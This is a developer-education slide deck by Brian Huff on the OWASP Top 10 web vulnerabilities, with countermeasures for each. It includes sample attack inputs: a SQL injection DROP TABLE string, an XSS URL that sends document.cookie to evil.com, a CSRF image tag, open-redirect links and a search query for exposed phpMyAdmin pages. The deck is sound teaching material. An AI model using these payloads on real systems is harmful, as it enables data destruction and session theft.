The Top 10 Security Vulnerabilities in Web Applications

Brian Bex Huff Chief Software Architect

Agenda

 Intro  Open Web Application Security Project (OWASP)  Top 10 Security Vulnerabilities  Countermeasures

Intro

 What is OWASP?
http://owasp.org Worldwide non-profit focused on improving software security Reaches out to ALL developers: not just security professionals

 Who am I?
Oracle ACE Director Author of 2 books on Oracle Technology Twitter: @bex -- used to be @OWASP Here to help all developers

 What will you learn?

The top 10 security mistakes that developers make How to design software with an assurance of security
3

OWASP Top Ten

1) Injection 2) Cross Site Scripting 3) Broken Authentication and Session Management 4) Insecure Direct Object References 5) Cross Site Request Forgery (CSRF) 6) Security Misconfiguration 7) Insecure Cryptographic Storage 8) Failure to Restrict URL Access 9) Insufficient Transport Layer Protection 10) Unvalidated Redirects and Forwards

1) Injection

 Used when your app sends user-supplied data to other apps

Database, Operating System, LDAP, Web Services

 Hackers "inject" their code to run instead of yours

To access unauthorized data, or completely take over remote application

 Example: SQL injection attackString query = "SELECT * FROM products

WHERE name='" + request.getParameter("id") +"'";

Code expects a nice parameter in the URL

 http://example.com/products?id=123
Hacker could instead supply this:http://example.com/products?id=';+DROP+TABLE+'products';

 ';+DROP+TABLE+'products';
';+DROP+TABLE+'products';
5

Example

Dont: name your child Robert); DROP TABLE Students;-Do: expect SQL Injection
6

Countermeasures

 "Connections" between systems are highly vulnerable  Always assume data coming in could be "evil"
be sure to include "evil" use cases and user stories in your design

 Ideally, only allow the user to select among "safe" options

no generic text allowed

 If user-input text is needed, use parameterized queries

clean up quotes, parenthesis, and SQL comments

 Use a battle-tested library for protecting your database

Java PreparedStatement, OWASP's ESAPI codecs
7

2) Cross Site Scripting

 Sites must "cleanse" user input before displaying it  Hackers can create URLs to inject their own HTML onto the page
can be used to do almost any kind of attack!!!

 Example: JSP to draw HTML based on user input

String html = "<input name='item' type='TEXT' value='" + request.getParameter("item") + "'>";

 Code expects a nice URL:

http://example.com/buy?item=123

 But a hacker could supply this:

http://example.com/buy?item='><script>document.location='http://evil.com/ steal/'+document.cookie</script>

 Then, try to trick somebody to go to that URL

Stolen cookies are frequently as good as stole passwords

Countermeasures

 Never, ever, ever trust user-submitted content!

URLs, comments threads, web forms

 Properly "escape" any data before displaying it on web pages

JavaScript parameters, URL parameters, STYLE elements Remove script tags, and possibly anything with a SRC attribute Use ESAPI to "cleanse" your HTML

 Do not allow state-change from HTTP GET requests

Otherwise, an IMG tag could cause you to lose all your data

 Set the HttpOnly flag in your response headers

Prevents document.cookie from working in JavaScript
9

3) Broken Authentication and Session Management

 HTTP is a "stateless" protocol

Nice and simple: HTTP request, HTTP response All data must be passed in the request every time

 How do we store state?

Client side with cookies Server side with sessions

 Most apps place a "sessionId" in cookies, or in the URL

Problem: now stealing sessionIds is just as good as stealing passwords!

 Multiple ways to determine a session ID

packet sniffing -- especially on an open WiFi access point HttpReferrer logs, if sessionId is in the URL
1 0

Countermeasures

 Assume that a user stole a session ID

Determine how bad this would be in your application

 Use SSL everywhere!

Makes it harder for people to sniff your session ID

 If you cannot use SSL everywhere, use it for logins

Have a cryptographically strong session ID

 Good sessionIds should be very difficult to re-use

Embed user IP address, user name, timestamp, and a secret Forces an attacker to spoof IP addresses to take over Prompt for re-login if IP changes during a session
1 1

4) Insecure Direct Object References

 Assume my project id is 123  I see a link on My Projects page that goes here:
http://example.com/projects/123

 If I alter the URL, can I see other peoples projects?

http://example.com/projects/124

 Do you only restrict access in the web form?  What if I could "guess" the URL? Could I see the page?
Don't trick yourself into thinking complex URLs are any more secure Security != Obscurity
1 2

Countermeasures

 Every resource needs a security level

What roles do you need to access certain items? Access Control Lists are easy to implement, but dont always scale

 All access to that resource should go through the same check

What action are you taking, with what resource? Put it all in one common codebase for simplicity May need to run check multiple times, for sub-actions and sub-resources Unusual behavior? Have additional authentication questions/layers!

 Front-end restriction is nice for usability, but not security  Back-end application must double-check access rights
1 3

5) Cross Site Request Forgery (CSRF)

 Evil sites can hijack your browser, and run secure request:
1) User logs into secure application behind the firewall http://example.com/myApp 2) User goes to "evil" website, or loads up "evil" HTML email 3) HTML contains this image: <img src="http://example.com/myApp/deleteEverything"></img>

 With JavaScript and XSS, evil sites can completely take over your
browser
1)Can browse around your intranet, log into bank accounts Anything you are currently logged into 1)Complete control, as long as you stay on the evil site

 Unfortunate side-effect of Single-Sign-On

1 4

Countermeasures

 All state change should require a unique token in the request  But if its in the URL, it's vulnerable!
URLs are frequently logged, and can be "sniffed" avoid reusable tokens

 General solution:
All state change requires HTTP POST, not a GET Put one-time token in a hidden field on the web form After POST, do a GET redirect to a confirmation page

 What kind of token?

Single-request tokens: safest, but a pain Session-based tokens hashed with session ID and action

 Require multiple-level authentication

If an action looks fishy, re-prompt user for login
1 5

6) Security Misconfiguration

 Most web applications depend on some kind of framework

Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries JARs and JARs and JARs of fun...

 What if your framework issued a security patch?

Do you have a centralized policy for keeping dependencies up-to-date? How long would it take you to discover new code? How long would it take to recompile/test/redeploy?

 Do you know all security configurations in the framework?

Odds are no... documentation is usually obtuse Being helpful is a security hole

 Have you properly "hardened" your framework?

Delete default users, disable unused services and ports
1 6

Countermeasures

 Subscribe to newsletters and blog feeds to get patches

Install the patches as quickly as possible

 Do periodic scans to detect misconfiguration / missing patches  Disable features that are "nice" for developers, but "nasty" for security  Use automation to ensure patches are up-to-date
If you can't verify it, it's not secure Can you prove glass is bulletproof without firing bullets at it?

 Taking over websites shouldn't be this easy:

http://www.google.com/search?q=inurl:SELECT+inurl:FROM+inurl:WHER E+intitle:phpmyadmin

1 7

7) Insecure Cryptographic Storage

 All applications store sensitive data

Credit cards, passwords, secure documents

 How much "sensitive" data is in your log files?

In general, or for exotic errors?

 How are you preventing unauthorized access to these resources?  If somebody stole your backup tapes, how bad would it be?

1 8

Countermeasures

 If you store secrets, encrypt them!

Use only battle-tested standard encryption algorithms

 Analyze possible threats: inside attack, external user

Make sure encryption policy is appropriate for the threats

 Encrypt data anywhere it's stored long term

Especially backups! Store backups of decryption keys separately from data

 Restrict access to decrypted data to only authorized users  Hash all passwords with a standard algorithm, and a "salt"  Use strong keys to access the information  Create a password management policy, and stick with it!

1 9

8) Failure to Restrict URL Access

 Similar to #4: Insecure Direct Object Reference

Need to block specific actions, even if no resource is identified

 Example: my project is 123  I will see these URLs on my home page:

http://example.com/project/123 http://example.com/user/getProjects/

 I could fish around and try other URLs as well:

http://example.com/manager/getProjects/ http://example.com/admin/getProjects/

 Would your application prevent this?  Same general issue:

you have front-end security, but not back-end security

2 0

Countermeasures

 Do authentication checks at least twice

Front end UI, and back end Controller

 Don't draw URLs to the page if the user cannot access them
Bad usability Hackers might be tempted to fish around for vulnerabilities

 Never assume a URL is allowed

Do back-end checks for access, and state change

 Add even more layers as needed:

Does all security information exist in the URL? Can you authenticate right away? Might you need to get half way through the request before you know what rights
are needed?

What if the user has access, but their behavior is unusual should you prompt for password again, or perhaps for additional authorization?
2 1

9) Insufficient Transport Layer Protection

 How is sensitive information sent from the user to your server?

When they log in, or view sensitive data?

 How do you send that information to other systems?

JDBC call, Web Services, JMS, emails

 It is shockingly easy to eavesdrop on web traffic

Probably no surprise to this crowd ;-)

 Wireless access points make it even easier

Need password encryption at the WEP/WAP layer

2 2

Countermeasures

 Use strong, standards compliant network security protocols  Use TLS (SSL) on all connections with sensitive data  Encrypt messages before transmission
XML-Encryption

 Sign messages before transmission

XML-Signature

 Disable old, flawed encryption algorithms (ie, SSL 2.0)  If HTTPS is impractical, at the very least secure the login process

2 3

10) Unvalidated Redirects and Forwards

 Most sites allow redirects to other sites, or pages within the site:
http://example.com/redirect?url=google.com

 But, open redirect pages can be used by "phishers" to create links to

their site:
http://example.com/redirect?url=evil.com

 Link looks like it goes to "example.com", but it goes to "evil.com"  Or, can trick a site user into harming their own site:
http://example.com/redirect?url=/admin.jsp?deleteEverything=true

 Sometimes called "phishing holes"

2 4

Countermeasures

 Restrict redirects to a limited number of "trusted" sites  Keep a list of all redirect URLs, and pass the ID in the request,
instead of the URL
http://example.com/redirect?urlId=123

 Hash the URL with a secret, and pass the hash in the URL
http://example.com/redirect?url=google.com&hash=a1b2c3

 Question: are URL shorteners inherently unsafe?

TinyUrl offers a "preview" feature: others should as well

 Question: does this URL look like a Google Invoice to you?

http://www.google.com/#invoiceId=123&q=qb_hqexKkw8&btnI=3564
2 5

Further Recommendations

 Read the entire OWASP Top 10

http://owasp.org/index.php/Top_10_2010-Main

 Read through the ESAPI documentation, and use it!

http://www.owasp.org/index.php/ESAPI

 Quiz your developers about what security is needed and why  Audit to find threats with biggest business impact  Reminder: security is everybody's responsibility!

2 6

Questions?

 My Company: http://bezzotech.com  My Blog: http://bexhuff.com  My Tweets: @bex  My Self: bex@bezzotech.com

2 7